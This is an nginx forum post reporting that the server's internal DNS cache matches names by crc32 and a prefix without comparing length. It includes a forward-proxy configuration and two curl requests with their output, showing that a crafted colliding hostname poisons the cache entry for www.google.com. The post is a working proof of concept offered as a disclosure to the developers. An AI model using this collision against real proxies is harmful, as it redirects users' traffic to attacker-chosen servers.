Welcome! Log In Create A New Profile

nginx internal DNS cache poisoning

Forum List Message List New Topic Print View

Matthew Dempsky

September 16, 2009 07:24PM

nginx maintains an internal DNS cache for resolved domain names.
However, when searching the cache, nginx only checks that the crc32 of
the names match and that the shorter name is a prefix of the longer
name. It does not check that the names are equal in length.

One way to exploit this is if nginx is configured as a forward proxy.
This is an atypical use case, but it has been discussed on the nginx
mailing list before[1].

For example, using this nginx.conf:

events {
worker_connections 1024;
}

http {
resolver 4.2.2.4;
server {
listen 8080;
location / {
proxy_pass http://$http_host$request_uri;
}
}
}

You can then run curl to see the cache poisoning in effect:

$ curl -H 'Host: www.google.com.9nyz309.crc32.dempsky.org'
http://127.0.0.1:8080/
<html>
<body>
Ho hum, nothing to see here, move along please.
</body>
</html>

$ curl -H 'Host: www.google.com' http://127.0.0.1:8080/
<html>
<body>
Oops, you shouldn't be asking me for http://www.google.com/!
</body>
</html>

(Restart nginx and run only the second command to see its expected
behavior; i.e., actually fetching http://www.google.com/.)

This works because crc32("www.google.com.") ==
crc32("www.google.com.9nyz309.crc32.dempsky.org."). The first request
cached the IP address for www.google.com.9nyz309.crc32.dempsky.org,
and then the second request used this IP address instead of querying
for www.google.com's real IP address because of the matching CRCs and
the common prefix.

[1] http://marc.info/?l=nginx&m=125257590425747&w=2

Reply Quote

RSS

Subject	Author	Posted
nginx internal DNS cache poisoning	Matthew Dempsky	September 16, 2009 07:24PM
Re: nginx internal DNS cache poisoning	Maxim Dounin	September 17, 2009 09:54AM
Re: nginx internal DNS cache poisoning	Igor Sysoev	September 18, 2009 07:36AM
Re: nginx internal DNS cache poisoning	Matthew Dempsky	September 18, 2009 04:30PM

Sorry, only registered users may post in this forum.

Click here to login

Online Users

Guests: 191

Record Number of Users: 8 on April 13, 2023

Record Number of Guests: 421 on December 02, 2018

nginx internal DNS cache poisoning

nginx internal DNS cache poisoning

Re: nginx internal DNS cache poisoning

Re: nginx internal DNS cache poisoning

Re: nginx internal DNS cache poisoning

Online Users